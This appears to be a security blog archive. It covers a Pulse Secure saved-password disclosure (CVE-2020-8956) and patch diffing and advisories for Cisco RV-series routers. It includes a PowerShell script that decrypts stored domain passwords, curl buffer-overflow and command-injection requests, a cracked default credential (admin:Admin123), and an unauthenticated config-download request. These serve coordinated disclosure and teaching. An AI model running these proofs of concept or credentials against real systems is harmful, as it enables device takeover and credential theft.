I checked MSDN and noted that the first parameter to the function is a DATA_BLOB which holds the plaintext, the second is data description while the third is another DATA_BLOB holding an optional entropy parameter:

DPAPI_IMP BOOL CryptProtectData(
  DATA_BLOB                 *pDataIn,           
  LPCWSTR                   szDataDescr,
   DATA_BLOB                 *pOptionalEntropy, 
  PVOID                     pvReserved,
  CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
  DWORD                     dwFlags,
  DATA_BLOB                 *pDataOut
  );

Dynamic Analysis

Now that I knew what to look for, I just had to attach to the running process with Windbg and set breakpoints on CryptProtectData and CryptUnprotectData:

0:000:x86> bp Crypt32!CryptUnprotectData
0:000:x86> bu Crypt32!CryptProtectData
0:000:x86> g

I set the connection details, entered my credentials, checked the ‘Save credentials’ option and clicked ‘Connect’.

Breakpoint 1 hit
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\Common Files\Pulse Secure\JamUI\Pulse.exe
CRYPT32!CryptProtectData:
76b37063 68b0000000      push    0B0h

Looks like I was right, we just hit CryptProtectData ! If we dump the function parameters, we see pDataIn address in yellow and pOptionalEntropy address in cyan.

0:000:x86> dd poi(esp+4)
0029ee84  00000022 028aef40 ffffffff 028a2b88
0029ee94  00ea471e 028c08d4 00000000 00000024
0029eea4  00000027 028c0778 02882a58 02897c98
0029eeb4  00000001 0029ef8c 0000004a 0000004f
0029eec4  d08665dd 0029f118 00f8ca38 00000002
0029eed4  00ea5c46 028a2c90 00000001 00000000
0029eee4  028c09b4 d086656d 0029f3d0 02897c98
0029eef4  74a18a94 00000000 02897c98 00000000

As expected, the first address points to my super secret password while the second points to the optional entropy value:

0:000:x86> du 028aef40
028aef40  "REDACTED"
0:000:x86> du 028a2b88
028a2b88  "IVE:41CE2E38289D9B43BBB1D28A1DD6"
028a2bc8  "EC88"

If pOptionalEntropy value looks familiar, it’s normal. It is actually equal to the registry path’s last part, in uppercase and without dash characters.

Registry path: HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88
pOptionalEntropy value: IVE:41CE2E38289D9B43BBB1D28A1DD6EC88

The registry path is readable by the user so an attacker could simply get the encrypted data out the registry, provide the converted registry path’s part as entropy value and obtain the domain password in plaintext.

I wouldn’t have done it without @seanderegge WinDbg-fu, so thanks Sean :)

PoC||GTFO

I wrote this piece of Powershell so Pulse Secure could easily reproduce it:

Add-Type -AssemblyName System.Security;

$ives = Get-ItemProperty -Path 'Registry::HKEY_USERS\*\Software\Pulse Secure\Pulse\User Data\*'
foreach($ive in $ives) {
    $ivename = $ive.PSPath.split('\')[-1].ToUpper()
    Write-Host "[+] Checking IVE $($ivename)..."
    $seed = [System.Text.Encoding]::GetEncoding('UTF-16').getBytes($ivename)
    # 3 possible value names for password
    $encrypted = $ive.Password1
    if(!$encrypted){
        $encrypted = $ive.Password2
    }
    if(!$encrypted){
        $encrypted = $ive.Password3
    }
    $plaintext = [Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect($encrypted, $seed, 'CurrentUser'))
    Write-Host "[+] Password is $($plaintext)"
}

I also developed a post-exploitation module for Metasploit so if pentesters land on a laptop with an outdated version of Pulse Secure they can get plaintext domain credentials. No need to pass the hash anymore :)

The module is currently being reviewed.

How do we even fix this ?

I’m totally aware that any credentials saving feature will need access to plaintext at some point. The data protection API is not bulletproof once you execute code with your victim’s privileges. This is known and accepted, even by browsers.

However, we’re talking about access to the victim’s domain credentials in plaintext without any kind of privilege escalation required. My initial recommendation to Pulse Secure was to save the encrypted password to a file. They were already using a file only readable/writable by SYSTEM to save the cached username, so why not the encrypted password too ?

From my point of view this would align with Windows way of working. You would need to elevate to SYSTEM in order to be able to dump the plaintext password from Pulse Secure. At this point you would already be able to dump local hashes and executes pass-the-hash attacks, so Pulse Secure client would not bring more risk by being installed.

The fix - Pulse Secure Connect 9.1r4

On February 10th of 2020, Pulse Secure PSIRT provided me with a new release (9.1r4) confirming they fixed the issue. I installed it and then reverse engineered it to validate their claim.

User data is still saved in the registry:

Windows Registry Editor Version 5.00

[HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data]

[HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data\ive:a165fb2afc26784dbd1403a2fd1573f7]
"Password1"=hex:7b,00,63,00,61,00,70,00,69,00,7d,00,20,00,31,00,2c,00,30,00,31,\
  00,30,00,30,00,30,00,30,00,30,00,30,00,64,00,30,00,38,00,63,00,39,00,64,00,\
  64,00,66,00,30,00,31,00,31,00,35,00,64,00,31,00,31,00,31,00,38,00,63,00,37,\
  00,61,00,30,00,30,00,63,00,30,00,34,00,66,00,63,00,32,00,39,00,37,00,65,00,\
  62,00,30,00,31,00,30,00,30,00,30,00,30,00,30,00,30,00,35,00,38,00,35,00,35,\
--snip--

However, the format changed a little. If we decode the ‘Password1’ registry value as ASCII hexadecimal, we get this:

{capi}
1,01000000d08c9ddf0115d1118c7a00c04fc297eb010000005855f90b0dd16b4791ac8f18b8132b2c000000000800000046005300570000001066000000010000200000002bb709607477b4ecbda0a5c069cc7556fc6047fd6ebcbbda683f315adc6214e2000000000e8000000002000020000000e969de12c7053409498fcf3fe67475ab13769d550cc0caea170295e40e524bff20000000fe0ff71306260a18547e6956696f3040c42136b74735bf1a897a4e402dbd5a1140000000e53838f473ce6631ebecd41ddda8fd28f5a3bc506ea555a73e5ff6b321bd6fb44eb47fb117b5b6104529a4123686cf9d5599e88a9dd4949227541e3a216ed42b

The long value after the colon is likely a DPAPI encrypted value given the value 01000000d08c9ddf0115d1118c7a0 at the start.

I tried to decrypt the value using the IVE value as entropy parameter, no luck. I tried without an entropy parameter, no luck either.

By looking around I found that they moved the DPAPI calls for user data to the Pulse Secure service running in the background. User data management is performed by a DLL (C:\Program Files (x86)\Common\Pulse Secure\Connection Manager\ConnectionManagerService.dll) loaded by Pulse Secure service.

By tracing calls to CryptProtectData, I came upon the function below (variables renamed for readability). We can see that it receives the user’s password to save and builds a DATA_BLOB structure for the entropy parameter.

Building pOptionalEntropy DATA_BLOB is performed in the function below. We can see that it sets the length (cbData) to 0x10 and makes pbData point to a hardcoded address in the binary:

Data representation sucks in Ghidra, so let’s switch to Radare2:

[0x10053630]> s 0x10089f14
[0x10089f14]> px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x10089f14  7b4c 6492 b771 64bf 81ab 80ef 044f 01ce  {Ld..qd......O..

The entropy value is set to 7B4C6492B77164BF81AB80EF044F01CE, we confirmed it by loading it with DataProtectionDecryptor.exe:

What’s really interesting here is that the DPAPI key is stored in C:\Windows\Sysnative\Microsoft\Protect\S-1-5-18\User\0AB0296F-01B7-4BC3-90A2-7CBB48201253. Looking at the SID value (S-1-5-18), we know the key belong to Local System, which makes sense given that the Pulse Secure service runs as SYSTEM. This means we cannot recover the plaintext password unless we elevate our privileges first.

Recommendations

We recommend you to upgrade your Pulse Secure Connect clients to the latest versions: 9.1R4 and 9.0R5. If you don’t want to give your users the ability to save credentials, you can either disable that option via Pulse Policy or rely on machine authentication by using machine certificates rather than passwords.

Conclusion

This whole thing is a really good opportunity to reflect on what constitutes a security vulnerability, and what should be considered when making risk assessments. Should the ability to recover the plaintext password of a user be considered a security issue when it affects the exact feature that is expected to do that ? What if the password is actually the domain password ? How do we properly balance between security and usability when choosing whether end users have the ability to save their credentials or not ?

Yes, other ways to abuse Pulse Secure client in order to gain access to the plaintext password still exists. A malicious process could attach to Pulse.exe to get the plaintext when entered by the user on first use, or a keylogger could simply get the user’s password when the victim is typing it. However, attaching with a debugger on a live production machine should make way more noise than dumping a single registry value and calling a DPAPI function, at least in companies with mature security controls.

Answers to these open questions are left as an exercise to the reader. In the end, each company will need to assess risk based on their own threat model, there’s no easy answer. At least this time, it won’t be as easy as reading a registry value.

Coordinated Disclosure Timeline

February 22, 2019 - Report sent to Pulse Secure PSIRT.
February 23, 2019 - PSIRT acknowledge reception of our report.
March 1, 2019 - PSIRT indicates they have involved Pulse Secure development team and are evaluating.
March 13, 2019 - PSIRT indicates development team is still working with PSIRT on this.
May 18, 2019 - PSIRT requests more time so they can push the fix with their next engineering release in Q3 2019. We accept.
May 20, 2019 - PSIRT indicates tentative date for release is end of July.
July 8, 2019 - PSIRT indicates that current plan is to merge the fix in version 9.1R3, no ETA.
August 23, 2019 - PSIRT indicates that issue is fixed in version 9.1R3.
October 15, 2019 - We ask for a status update, no answer. We check if released version 9.1R3 is still affected. It is.
November 4, 2019 - We ask for a status update, no answer.
December 11, 2019 - We ask for a status update, no answer.
February 2, 2020 - PSIRT informs us that the reported issue is now fixed in 9.1R4 and 9.0R5 PCS version.
February 13, 2020 - PSIRT provides reserved CVE identifier: CVE-2020-8956
October 27, 2020 - CVE-2020-8956 details are published.
October 27, 2020 - Release of this blog post.

Patch Diffing a Cisco RV110W Firmware Update (Part II)

Thu, 01 Oct 2020 12:00:00 +0000

This is the second part of a two part blog series on patch diffing Cisco RV firmware where I try to identify fixed flaws (namely CVE-2020-3323, CVE-2020-3330, and CVE-2020-3332). In the first part we identified the static credentials present in Cisco RV110 firmware up to version 1.2.2.5 included.

In this post, we will perform more serious patch diffing to identify memory corruption and command injection issues in order to provide reduced test cases that can be used to develop a fully working exploit.

Initial Setup

Firmware Unpacking

First, download firmware packages from Cisco Download Center. RV130W firmware images will be used for cross-validation.

You can then unpack each firmware image with binwalk:

binwalk RV110W_FW_1.2.2.5.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
32            0x20            TRX firmware header, little endian, image size: 10715136 bytes, CRC32: 0x6320519F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x173BA4, rootfs offset: 0x0
60            0x3C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4299308 bytes
1522628       0x173BC4        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 9188808 bytes, 1074 inodes, blocksize: 65536 bytes, created: 2019-07-24 08:12:22

The binary we’re interested in will be located in _FIRMWARE_NAME/squashfs-root/usr/sbin/httdp.

Binary Diffing with Ghidra

I start by creating a Ghidra project named ‘RV110’ and create two subdirectories named after the firmware revision numbers.

I then import the httpd binary from each firmware root filesystem in its specific directory. One important thing to do is to provide the library search path so that Ghidra can also load the system libraries the binary is dynamically linked with.

To do so, click on ‘Options’ then enable ‘Load external libraries’ and click on ‘Edit paths’. You should provide two paths from the firmware rootfs: /lib and /usr/lib.

When each file is loaded into the project, double click on them and perform auto analysis. When the analysis is done, save the file and get back to the main window.

Now that our binaries have been analyzed by Ghidra, we can launch a version tracking session. Name the session to your liking and set both versions of httpd as source and destination programs:

I won’t go into the finer details of Ghidra version tracking tool, but I recommend you read this excellent post by threatrack: Patch Diffing with Ghidra - Using Version Tracking to Diff a LibPNG Update.

Once loaded, click on the magic wand button to execute “Automatic Version Tracking”. Wait for all the correlators to run and then click on the filter button on the bottom right. This will load the following window:

I had the best results identifying patched functions with these exact filters. The version tracking table should list two functions:

The first one (FUN_0040c400) seems to be a good candidate for memory corruption issue (either CVE-2020-3323 or CVE-2020-3331). Precisely 8 calls to strcpy were changed to strncpy in this exact function. This function handles form submission from the setup wizard that can be launched on the web management interface to execute the device’s first configuration (WAN interface, DNS, NTP, DHCP ranges, etc). When identifying dangerous calls, I always bookmark them (Ctrl-D in Ghidra) to find them back faster.

The second one (FUN_0041d0b0) is a patch for the information disclosure issue I reported (CVE-2020-3150):

At this point I pretty much hit the limit of what Ghidra version tracking can do for patch diffing and I still had to identify another memory corruption vulnerability (either CVE-2020-3323 or CVE-2020-3331), so I switched to Bindiff.

Update It turned out these insecure calls were not linked to these CVEs and just happen to be cleanup performed by Cisco development team. Keep on reading to learn about the actual code responsible for these CVEs :)

Patch Diffing with Bindiff

Performing binary diffing with Bindiff requires the ability to export analyzed binaries to BinExport format. The BinExport project provides a Ghidra plugin to do so but you need to assemble the jar file yourself. This excellent guide by Hashim Jawad will guide you through the installation steps.

I had GLIBC version issues with the latest version of Bindiff so if you encounter the same problem, just use version 5 instead of version 6.

First thing first, let’s export our analyzed httpd binaries to Bindiff format. Right click on the file, then click on ‘Export’.

Select ‘Binary BinExport (v2) for BinDiff’ as format and set your output filename:

Repeat the operation for both file and launch BinDiff (bindiff -ui on Linux).

Create a new workspace (‘File’ -> ‘New Workspace’) and create a new diff within that workspace (‘Diffs’ -> ‘New Diffs…’):

BinDiff will present you with a nice table of matched functions, order them by similarity ratio to get the one that differs the most first:

After a while, I had bookmarked all interesting code sections in Ghidra. A lot of insecure calls have been cleaned up by the development team, even if not exploitable per se.

I’ll go over each CVE in the next sections.

Finding CVE-2020-3323

CVE-2020-3323 is described as “A vulnerability in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.”.

At first I thought this memory corruption was linked to insecure calls to strcpy that were fixed between revision 1.2.2.5 and 1.2.2.8, but it did not make sense as these calls were unreachable from an unauthenticated context. After a while, I finally identified what triggered the memory corruption: an insecure call to sscanf in the guest_logout_cgi function.

The function is quite large but the pseudo-code below should give you the gist of it:

char acStack172 [64];
char acStack108 [68];

char* cip = get_cgi("cip");
char* cmac = get_cgi("cmac");
char* submit_button = get_cgi("submit_button");

int v = strstr(submit_button,"status_guestnet.asp");
if(v != NULL){
    // they're looking for status_guestnet.asp;session_id=current_user_session_id_value
    sscanf(submit_button,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
}

The submit_button value is user controlled and given that size is not explicitly provided, we can overflow acStack108 or acStack172. The curl command below is a reduced crash case that will overwrite the return address with 0x42424242 (BBBB).

curl -ki -X POST https://192.168.1.43/guest_logout.cgi -d"cmac=00:01:02:03:04:05"\
-d "ip=192.168.1.1"\
-d "submit_button=status_guestnet.aspAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"

Here’s the function offsets for reference:

Model	Firmware	Offset
RV110	1.2.2.5	0x004317f8
RV130	1.0.3.52	0x0002b170
RV215	1.3.1.5	0x0043441c

Finding CVE-2020-3332

CVE-2020-3332 is described as “A vulnerability in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Series Routers could allow an authenticated, remote attacker to inject arbitrary shell commands that are executed by an affected device.”.

I identified (now patched) command injections in these functions:

Function	Offset (firmware version 1.2.2.5)
IperfServerCmd	0x004141e8
IperfClientCmd	0x00414e58
SetWLChCmd	0x00415f2c
SetWLSSIDCmd	0x00416974

Each of these functions follows the same insecure procedure:

Read query parameter with get_cgi
Build a command line using obtained query parameter
Call system

I still don’t fully understand how these functions can be called from the web interface. They seem to be called by an undocumented CGI script named mfgtst.cgi. I found some obscure reference to it on the Internet, mentioning that simply calling the CGI script would trigger a denial of service on some old Linksys device. The script itself looks like a diagnostic tool that will check wireless settings, USB settings, and performances.

Update - October 5th 2020

I finally identified how these CGIs calls can be triggered. The curl command below will inject the command ping -c 3 10.10.10.100 into a system call by using double pipes.

curl -ki -X POST 'https://192.168.1.43/mfgtst.cgi?sys_iperfServer=1&sys_iperfWinSize=1
&sys_iperfPort=80%7C%7Cping%20-c%203%2010.10.10.100%7C%7C&sys_iperfMode=-u
;session_id=0d00538ca990439d194ff8b294927e08'
HTTP/1.1 200 Ok
Server: httpd
Date: Mon, 05 Oct 2020 10:31:09 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/plain
Connection: close

HTTP/1.1 200 Ok
Server: httpd
Date: Mon, 05 Oct 2020 10:31:16 GMT
Content-Type: text/plain
Connection: close

Note that the call must be authenticated and that a specific NVRAM value (mfg_radio) must be set to “on” manually for the injection to work.

Conclusion

I learned a lot of things over the course of this patch diffing session. I’m now able to navigate and understand both Ghidra version tracker and BinDiff user interfaces. I identified blind spots in my review process, such as the fact I never looked for calls to sscanf in the past.

This exercise gave me a lot to think about, especially on the subject of automation. It would be great to have static and dynamic analyzers for embedded device binaries that can not only identify insecure C calls, but can filter the noise to only show the ones that are most likely to be exploitable. A lot of calls to system in these firmwares are using fixed strings for example, and we’re not interested in those.

I have had interesting results using Radare2 and Unicorn engine and I’ll most likely publish something in the coming months. The idea is to identify functions in the binary that calls system() using r2. Then we fully emulate the function using Unicorn Engine while hooking system and get_cgi. The get_cgi hook would return a tainted value, while the system hook would proceed by checking if the system call parameter contains our tainted value in an insecure way (i.e. unquoted).

There’s a lot to do, but I think I know how to move forward ! As always, if you have any question just get in touch on Twitter or by email :)

Ghetto Patch Diffing a Cisco RV110W Firmware Update

Wed, 23 Sep 2020 12:00:00 +0000

I received an email last week from someone looking into vulnerabilities affecting Cisco RV110W. They were wondering if I had any information about CVE-2020-3323, CVE-2020-3330, or CVE-2020-3331 that were released at the same time than the ones I had found.

CVE-2020-3323 and CVE-2020-3331 are described as unauthenticated remote code execution, while CVE-2020-3330 is a system account with default password. They were discovered by Larryxi of XDSEC, and Gyengtak Kim, Jeongun Baek, and Sanghyuk Lee of GeekPwn.

Knowing nothing about these specific issues, I initially answered that they should download firmware files and perform patch diffing, looking for memory corruption fixes like “strcpy” magically morphing into “strncpy”. As I went through the advisories, I couldn’t resist the urge to do it myself, especially when these issues are similar to the ones I reported. I think it’s a nice exercise in identifying my own blind spots :)

Finding CVE-2020-3330

I started by downloading the two most recent version of Cisco RV110W firmware (1.2.2.8 and 1.2.2.5) and extracting them with binwalk.

binwalk -e RV110W_FW_1.2.2.5.bin
binwalk -e RV110W_FW_1.2.2.8.bin

Now we need to find what changed between these two updates. We will hash each file from the squashfs filesystem using MD5 and then compare fingerprints using diff.

Let’s start by building the hash files:

cd _RV110W_FW_1.2.2.8.bin.extracted/squashfs-root
find . -type f -print | sort -u | xargs md5sum > /tmp/1.2.2.8.md5
cd _RV110W_FW_1.2.2.5.bin.extracted/squashfs-root
find . -type f -print | sort -u | xargs md5sum > /tmp/1.2.2.5.md5

Then we can run diff:

diff /tmp/1.2.2.8.md5 /tmp/1.2.2.5.md5
19c19
< 368ab456e18c04cb3d8ffb8e528ef170  ./etc/md5sum.txt
---
> 8c74c076738f27a738f93ec161c02262  ./etc/md5sum.txt
31c31
< 647fe68301879b3f814a715fb20386f2  ./lib/libfl.a
---
> ab644927751c779bbd1542792d565867  ./lib/libfl.a
37,38c37
< 92953276fec01291e18a07725f9b069c  ./lib/librt.so.0
< 817231f2bd5b726880622953ee67832b  ./lib/modules/2.6.22/extra/ctbootnv.ko
---
> 5dd7d389f08ce9b8135908d8ffd750ea  ./lib/modules/2.6.22/extra/ctbootnv.ko
41c40
< ef2454ad5779b006409d0526344b2d7e  ./lib/modules/2.6.22/kernel/drivers/net/et/et.ko
---
> 6bc8fb87f9ad4b012ce644452bfc8215  ./lib/modules/2.6.22/kernel/drivers/net/et/et.ko
46c45
< d797b7aafc018749a1d85278f4d8142f  ./sbin/rc
---
> dbc99e8e9e7dbcd2b200263cc2b30315  ./sbin/rc
142c141
< 0e52bf5408d0c41d5905a26d02cae993  ./usr/lib/libcbt.so
---
> 27d13e7f04eb8ba2b15bf4d636e436da  ./usr/lib/libcbt.so
144c143
< 0e87b97e11407b3260cdaf2a760ac81b  ./usr/lib/libdlib.a
---
> e213bf88ad4e15a80fef55adbcc1662c  ./usr/lib/libdlib.a
146c145
< 46046cf30b1839eeb4208196456d225d  ./usr/lib/libipsec.la
---
> b382e5205fc04ebaa4ab59f5c334e628  ./usr/lib/libipsec.la
152c151
< 133fe8b7b4956ce9fd47b5ede331a848  ./usr/lib/libnetsnmpmibs.so.15
---
> e85b5a45da101d85445ca399247272f9  ./usr/lib/libnetsnmpmibs.so.15
156,159c155,158
< cea7cc0dea1e9a8f0eb2799757d26561  ./usr/lib/libnvram.so
< 2653da316aab8321d977482895cca383  ./usr/lib/libracoon.la
< 01c32b07c7c004034fe7238bf9dab2b1  ./usr/lib/libracoon.so.0.0.0
< 4cb74441dc94a45c6ecd644c97090e59  ./usr/lib/libshared.so
---
> fde7fc6b44fd1d7805995aac3e1df24c  ./usr/lib/libnvram.so
> 09f5f556bbd219fd0ae8a3d9546616a7  ./usr/lib/libracoon.la
> c9db70ecc1fdf17044214422c3840150  ./usr/lib/libracoon.so.0.0.0
> ade2dc97e8e6327166ca7485d853d5f4  ./usr/lib/libshared.so
271c270
< bc4dce4d95f96f8d1cf90c2b331f3d83  ./usr/sbin/httpd
---
> 41b97cb3d00c2dcf8f5097d2b934eeb0  ./usr/sbin/httpd
283c282
< a13f7de707affb598501c9367e73ee0c  ./usr/sbin/nas
---
> 5644c75181960676986a4f2466832b60  ./usr/sbin/nas
288c287
< 84a4a78f6d3eea914dd5d087e13010c1  ./usr/sbin/phymons
---
> 280ecb85103909f1729399d37059edb6  ./usr/sbin/phymons
292c291
< 7a6e866111841257d36f077f0c103931  ./usr/sbin/pppd
---
> 4e863eac40aa02d675422d4de4368a4d  ./usr/sbin/pppd
297,298c296,297
< 383650aa5c9fb43e1316eebfaa1fe9b7  ./usr/sbin/racoon
< 9d0db31f7d486acac90ba75dd65dadd5  ./usr/sbin/racoonctl
---
> c89d4139ec8d54e5dfbb134f94c5c897  ./usr/sbin/racoon
> bd58d801951be4fb2307325b4d466c60  ./usr/sbin/racoonctl
305c304
< ad5c5e8b2699e001ff3a730a713f7389  ./usr/sbin/setkey
---
> 015c1854bcd956d256f2aa8cc5e48681  ./usr/sbin/setkey
308c307
< 43b633daa48f6b27f79e009bc7165fe1  ./usr/sbin/syslog-ng
---
> 6c7ade7cc8eaa0d635c0568961692ca6  ./usr/sbin/syslog-ng
316a316
> d9a523641b71ff29baf20be8fcaced0c  ./usr/sbin/utelnetd
318c318
< fe71410010182a0ecf89d3afdf850a33  ./usr/sbin/wl
---
> 0e8583d5752651d3e5472f934bb6a405  ./usr/sbin/wl
330c330
< 823601a95d6bf9b6df8b89b8c9631e2b  ./www/backup.asp
---
> 892dfab8ca68b80f1d04032e37fc7056  ./www/backup.asp
703c703
< dc530b5cc00512442ab24579054ba381  ./www/login.asp
---
> 8e95fb6562b6c03387b93b577e1f05cd  ./www/login.asp
746c746
< 4bd9eb5f19168ceb4c402a4ea52705f1  ./www/time_zone.asp
---
> b321892333aa06e743d5b1a637c1a4a1  ./www/time_zone.asp

It appears that Cisco simply removed utelnetd binary from the firmware. It makes sense given that this service can’t be enabled from the web UI. Probably an artifact left from internal testing.

Anyway, utelnetd - like any good unix tool - rely on /bin/login to authenticate users. It’s a built-in binary that uses /etc/shadow to authenticate users. The shadow file is absent from the firmware squashfs file system so it must be generated when the device boots up.

Let’s search for references to /etc/shadow:

grep 'etc/shadow' . -r
Binary file ./squashfs-root/bin/busybox matches
Binary file ./squashfs-root/sbin/rc matches
Binary file ./squashfs-root/lib/libc.so.0 matches

/sbin/rc is a good candidate. That binary is executed during Linux initialization procedure. Let’s run strings on it and look for references to /etc/shadow:

strings ./squashfs-root/sbin/rc | grep shadow
echo 'admin:$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.:15880:0:99999:7:::' > /etc/shadow

And voilà ! We now know that the static default credentials belonged to the admin user. However we only have the md5crypt hash of that password. Let’s run hashcat with rockyou and some rules:

hashcat -O -w 4 --status -m 500 /tmp/rv110.txt /tmp/rockyou.txt -r /tmp/InsidePro-PasswordsPro.rule  --show
$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.:Admin123

There you go. The static credentials found in RV110W firmware before 1.2.2.8 are admin:Admin123.

Note that I never found a way to enable Telnet from the device web interface and that none of the RV110W exposed on the Internet have Telnet port open.

In the next installation of this series, I’ll perform more advanced patch diffing with Ghidra to find CVE-2020-3323 and CVE-2020-3331.

As always, if you have any question just get in touch on Twitter or by email :)

Breaking Cisco RV110W, RV130, RV130W, and RV215W. Again.

Tue, 14 Jul 2020 18:00:00 +0000

More than a year ago now, Pentest Partners published an article explaining CVE-2019-1663, a stack buffer overflow affecting multiple low end devices from Cisco (RV110, RV130, RV215). I then went on writing exploit modules for each affected device and version, as detailed in my “Exploiting CVE-2019-1663” post.

During the analysis I found other issues that I reported to Cisco PSIRT. These issues are now fixed.

TL;DR; Cisco RV110W, RV130(W), and RV215W VPN routers are affected by authentication bypass, authenticated remote command execution, and information disclosure issues. By chaining them an unauthenticated remote attacker can fully compromise your device. Patch now.

Coordinated Disclosure Timeline

4 Nov 2019 - Initial report to Cisco PSIRT
5 Nov 2019 - Cisco assigned case handler and start looking at the report
17 Jan 2020 - PSIRT provides tentative fix release date (March 2020)
At this point COVID-19 happens and makes everything slower but Cisco folks kept me informed along the way
5 Jun 2020 - CVE identifiers are assigned, tenative fix release date is set to July 2020
15 Jul 2020 - Release of fixed firmwares and security advisories

Cisco Security Advisories

You can find Cisco advisories at the following locations:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-rce-m4FEEGWX (CVE-2020-3145/CVE-2020-3146)
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-auth-bypass-cGv9EruZ (CVE-2020-3144)
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-info-dis-FEWBWgsD (CVE-2020-3150)

Detailed advisories with proof-of-concepts follows. As always, if you have any question just get in touch on Twitter or by email.

CVE-2020-3150 - Cisco RV110W/RV130/RV130/RV215W Routers Unauthenticated Configuration Export

Summary

A vulnerability in the web-based management interface of Cisco RV110W/RV130W/RV215W Wireless-N Multifunction VPN Routers could allow an unauthenticated, remote attacker to retrieve sensitive information.

Impact

A successful exploit could allow the attacker to download the router configuration or detailed diagnostic information.

Note that to be able to download the file, an administrator user must have open the page backup.asp on the device since the latest reboot. Once the page is accessed, a flag is set by the httpd binary, allowing for generation of the startup.cfg file download (saved in /tmp/config.txt).

Affected Systems

RV110W Wireless-N Multifunction VPN Router up to version 1.2.2.4 included
RV130 Multifunction VPN Router up to version 1.0.3.51 included
RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included
RV215W Wireless-N Multifunction VPN Router up to version 1.3.1.4 included

Description

The vulnerability is due to improper access controls for URLs. An attacker could exploit this vulnerability by connecting to an affected device via HTTP or HTTPS and requesting specific URLs.

Here we show that an early version of the RV215W is affected:

GET /startup.cfg HTTP/1.1
Host: 192.168.1.1
Connection: close

HTTP/1.1 200 Ok
Server: httpd
Date: Fri, 01 Jan 2010 00:01:46 GMT
Content-Disposition: attachment; filename=RV215W_startup.cfg
Content-Type: application/octet-stream
Connection: close
;RV215W Configuration File - Version: 1.1.0.5
;MAC address: 10:BD:18:AC:57:3A
;Serial Number: CCQ231407B9
;The checksum: 8A41D8E444067386
--snip--

Other files are also affected, but it depends on the setup, such as mirror.cfg or backup.cfg

CVE-2020-3145 - Cisco RV130/RV130W Routers Management Interface Remote Command Execution (IPSEC)

Summary

A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an authenticated, remote attacker to execute arbitrary code on an affected device.

Impact

A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user.

Affected Systems

RV130 Multifunction VPN Router up to version 1.0.3.51 included
RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included

Description

The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

We identified multiple dangerous calls to strcpy in the function at 0x00071cac in the httpd binary (/usr/sbin/httpd in firmware rootfs).

The decompiled function looks like the pseudo-code below, comments are personal additions:

void apply_ipsec_policy(void)
{
    char *ipsec_policy_name;
    char *ipsec_endpoint_type;
    char *ipsec_netbios;
    char *ipsec_local_start;
    char *ipsec_remote_type;
    char *ipsec_remote_subnet;
    char *ipsec_spi_outgo;
    char *ipsec_enc_keyin;
    char *manual_ipsec_int;
    char *ipsec_key_keyout;
    char *auto_ipsec_enc;
    char *ipsec_pfs_enable;
    char *ipsec_ike_policy_name;
    int edit_eq;
    int ipsec_policy_index;
    int iVar1;
    int netbios_off;
    int pfs_enable;
    int edit_policy;
    char *ipsec_local_type;
    char *ipsec_local_subnet;
    char *ipsec_remote_start;
    char *ipsec_spi_income;
    char *manual_ipsec_enc;
    char *ipsec_enc_keyout;
    char *ipsec_int_keyin;
    char *ipsec_sa_lifetime;
    char *auto_ipsec_int;
    char *ipsec_policy_type;
    char *exc_stflg;
    undefined2 *ike_selidx;
    char *ipsec_endpoint_value;
    char *ipsec_pfs_group;
    char acStack1224 [74];
    char acStack1150 [18];
    char acStack1132 [8];
    char acStack1124 [256];
    char acStack868 [16];
    char acStack852 [8];
    char acStack844 [2];
    char acStack842 [16];
    char acStack826 [16];
    char acStack810 [2];
    char acStack808 [16];
    char acStack792 [16];
    undefined2 uStack776;
    char acStack768 [32];
    char acStack736 [16];
    undefined2 local_2d0;
    char acStack712 [32];
    char acStack680 [16];
    char acStack664 [32];
    char acStack632 [32];
    char acStack600 [16];
    char acStack584 [128];
    char acStack456 [128];
    char acStack328 [16];
    char acStack312 [128];
    char acStack184 [148];
    ipsec_policy_name = (char *)get_cgi_param("ipsec_policy_name");
    if (ipsec_policy_name == (char *)0x0) {
        ipsec_policy_name = "";
        ipsec_policy_type = (char *)get_cgi_param("ipsec_policy_type");
    }
    else {
        ipsec_policy_type = (char *)get_cgi_param("ipsec_policy_type");
    }
    if (ipsec_policy_type == (char *)0x0) {
        ipsec_policy_type = "";
        ipsec_endpoint_type = (char *)get_cgi_param("ipsec_endpoint_type");
    }
    else {
        ipsec_endpoint_type = (char *)get_cgi_param("ipsec_endpoint_type");
    }
